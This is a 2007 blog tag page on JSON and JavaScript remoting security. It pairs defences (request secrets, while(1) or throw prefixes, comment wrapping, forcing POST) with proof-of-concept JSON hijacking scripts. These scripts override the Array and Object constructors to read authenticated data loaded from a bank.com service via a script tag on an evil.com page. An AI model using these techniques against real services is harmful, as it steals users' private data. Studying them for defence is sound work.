Joe Walker - json tag

How to Protect a JSON or Javascript Service

Wed, 04 Apr 2007 08:32:14 GMT

There have been lots of explanations recently of the dangers of JSON or JavaScript remoting. This post is about what you can do to protect your scripts.

The Problem

The issues have been explained before, so I'm going to assume some knowledge of the problem. If you're not sure, some stuff to read:

I blogged that JSON is not as safe as people think it is, and updated it with more issues the next day. I've also written about CSRF too.
Dan Morrill has written an excellent and lengthy summary. The fixes are focused on GWT, but the issues are the same for everyone.
Brent Ashley has just published on developerWorks, about the future of cross-domain requests. The article is tangentially relevant, but there is a particularly good set of linked articles.

The Solutions

So what are the solutions? I think there are 3 options. Each has their pros and cons:

Use a Secret in the Request
Force pre-eval() Processing
Force POST requests

This post is a shortened version of the detailed description of what DWR does If you are interested in the options DWR takes and how you can configure it, you should read page.

1. Use a Secret in the Request

If you can only support one of these protections, this is the one to chose. Including a secret in the request allows the server to reject the request as invalid before any actions take place. It is common to include the secret in the URL, however this is a slightly vulnerable position for a secret since it is likely to turn up in web server log files and so on.

It is possible to use cookie values like PHPSESSIONID or JSESSIONID read using Javascript as the secret. The browsers cross-domain rules should prevent attackers from discovering this cookie. However this method will stop working as people begin to switch to using HttpOnly cookies. So it is better to start with a separate secret.

2. Force pre-eval() Processing

Since <script> tag remoting does not allow you to process the JSON or Javascript before it is eval()ed you can protect your JSON by forcing it to be manipulated before eval(). All 3 of these techniques will prevent your request from being pure JSON, however you may rank security above purity. There are 3 ways to do this:

Wrap the JSON in a comment. For example, /* { 'data':'protected' } */. When this is eval()ed, there will be no result, however if you have fetched the data using XHR or iframe, you can do some string manipulation before eval() to remove the leading /* and trailing */.
This method is good for plain JSON, however if you are using Javascript which could contain /* comments */, then you should not use this technique because comments in Javascript do not nest.
Prefix the script with 'while(1);' Since this is an infinite loop, if causes browsers to hang, and maybe give an error message. Either way the script does not get executed.
There is a potential vulnerability that some browser may allow you to override the action of while using something like this: 'function while() {}'. However I don't know of any such browser.
Google use this method to protect data in GMail. 'while(1);' is possibly better than 'while(true);' in case there are any browsers that allow you to redefine truth.
Prefix the script with 'throw new Error("message");'. This is a neat solution in that it allows you to explain what is wrong to users that get the message by mistake. DWR uses this method.
It is potentially vulnerable to some browser allowing an attacker to redefine the Error or String constructors to prevent the throw from happening, however this does not work on any browser that I know of, and it's hard to see how it could happen.

3. Force POST Requests

Since browsers use GET to process <script> tags, you can prevent <script> tags from working by denying GET requests for some JavaScript resource. This is the most common solution, however it is also perhaps the weakest.

Firstly XHR-POST doesn't work with older versions of Safari, so some support for GET is often useful.

More importantly future versions of Firefox are touted to include cross-domain XHR support. While we don't have exact knowledge of how this will happen, it would be foolish to base your security plans on this technique holding up.

Finally, we're working in an environment where new possibilities are popping up every day - betting your security on a system that works more by fluke than design isn't a great idea in my opinion.

By default DWR denies POST requests for belt and braces security, however this is customizable to allow support for older versions of Safari.

JSON is not as safe as people think it is, part 2

Tue, 06 Mar 2007 23:33:50 GMT

Yesterday, I blogged about how to steal data from JSON by overriding the Array constructor. Today, we break into Objects too.

Mark Goodwin submitted a non-deprecated syntax that uses the __defineSetter__ feature, which was a good start (Aside: does anyone else think that's ugly?). Over iChat he also invented a setTimeout tweak, and I ported it over to Object.

So now you can steal data from any JSON object:

<script type="text/javascript">
var obj;
function Object() {
  obj = this;
  // define a setter for the killme property
  this.__defineSetter__('killme', function(x) {
    for (key in obj) {
      if (key != 'killme') {
        alert('Data stolen from array: ' + key + '=' + obj[key]);
      }
    }
  });
  // call the setter when the JSON parse is done
  setTimeout("obj['killme']=2;", 0);
}
</script>
<button onclick="({ 'data':'wibble' })">Hack</button>

It's still not going to work anywhere but Mozilla, but now that's only because the JavaScript interpreters in the other browsers are out of date.

JSON is not as safe as people think it is

Mon, 05 Mar 2007 19:31:52 GMT

I saw some discussion recently about using JSON for secured data, and I'm not sure that everyone understands the risks.

I believe that JSON is unsafe for anything but public data unless you are using unpredictable URLs.

There are 2 problems. CSRF (Cross Site Request Fogery) allows attackers to bypass cookie based authentication. I blogged about it a while ago. Wikipedia talks about it. CSRF allows you to invoke cookie protected actions on a remote server. It allows Mr. Evil to trick Mrs. Innocent into transferring money from her bank account into his.

Far less known perhaps, is the JSON/Array hack that allows a user to steal JSON data on Mozilla and any other platform with a modern JavaScript interpreter.

Update: It's not just Arrays - it you can steal data from objects too.

There are many ways to fetch data from a server, but the interesting cases here are: XHR, iframe and script-tags. Without knowledge of the JSON/Array hack it's easy to reason like this:

XHR: Browser cross-domain rules prevent the attacker from making the request in the first place.
iframe: The attacker can embed an iframe that points at some remote server (the bank in the above example) and ask to be sent some JSON, but browser cross-domain rules prevent scripts from the attackers domain from reading the reply, so the JSON is safe because it will never be eval()ed.
Script-Tags: The attacker can embed a script tag pointing at a remote server and the browser will effectively eval() the reply for you, however it throws away the response and since JSON is all response, you're safe.

It's the last of these arguments that is suspect. The dynamic nature of JavaScript will let you redefine how the browser evaluates the JSON.

Here's how it works, and you can follow along with any JavaScript console:

Redefine the Array constructor:
```
function Array() { alert("hi"); }
```
Verify that this constructor is called when arrays are created:
```
var a = [ 43 ];
```

Use the new feature to manipulate the array:

function Array() {
  this[1] = 50;
}
var a = [40];
alert(a[0] + a[1]); // Gives 90

So we can call secure JSON data using CSRF with a script tag to by-pass the cookie authentication, and then use the JSON/Array hack to steal the JavaScript data from the browser as it processes the script-tag.

So we've redefined the Array constructor, how do we actually get the data out? The syntax below works in current versions of Firefox, although from my reading of the spec proposals, it's not a part of Javascript 2, and it appears to fail in IE/Safari/Opera.

Create a web page at evil.com, with a couple of script tags like this:

<script type='text/javascript'>
function Array() {
  var obj = this;
  var ind = 0;
  var getNext = function(x) {
    obj[ind++] setter = getNext;
    if (x) alert(Data stolen from array: " + x.toString());
  };
  this[ind++] setter = getNext;
}
</script>
<script type='text/javascript' src='http://bank.com/jsonservice'> </script>

As a demo, I've redefined the Array constructor in this page, so if you're on Firefox, you should get an alert dialog from the following script: . Update: This was killing Google Analytics, which we added later, so I've removed the array hack script from this page.

(If you're reading this in a blog aggregator, then the script above should have been stripped out, so it won't work. You need to try it on this page. If the script has not been stripped, get a new aggregator - your current one has a horrible security flaw.)

The long and short is that JSON is not safe in any system that uses cookies for authentication.

With DWR we use full JavaScript which is as vulnerable as JSON, however DWR's CSRF protection automatically uses the doubly-submitted cookie pattern to provide extra safety.

I'm by no means the first person to think of this; Jeremiah Grossman used it to break GMail over a year ago.

Update: If you are doing JSON 100% properly, then you will only have objects at the top level. Arrays, Strings, Numbers, etc will all be wrapped. A JSON object will then fail to eval() because the JavaScript interpreter will think it's looking at a block rather than an object. This goes a long way to protecting against these attacks, however it's still best to protect your secure data with un-predictable URLs.

JSON and RAP

Tue, 28 Mar 2006 09:07:51 GMT

JSON-RPC:

There are 'quite a few' Ajax frameworks in nearly the same way that there are 'quite a few' stars in the sky, however not many that do the same sort of thing as DWR. From what I've seen the biggest competitor DWR has is JSON-RPC, which has just released 1.0, so congratulations. See also the changelog and the downloads.

RAP:

Mike Milinkovich mailed me the other day with a heads-up on RAP (Rich AJAX Platform), which seams to be a port of the Eclipse RCP platform to Ajax.

"The RAP project aims to enable developers to build rich, AJAX-enabled Web applications by using the Eclipse development model, plug-ins and a Java-only API."

There is a demo of it in action here.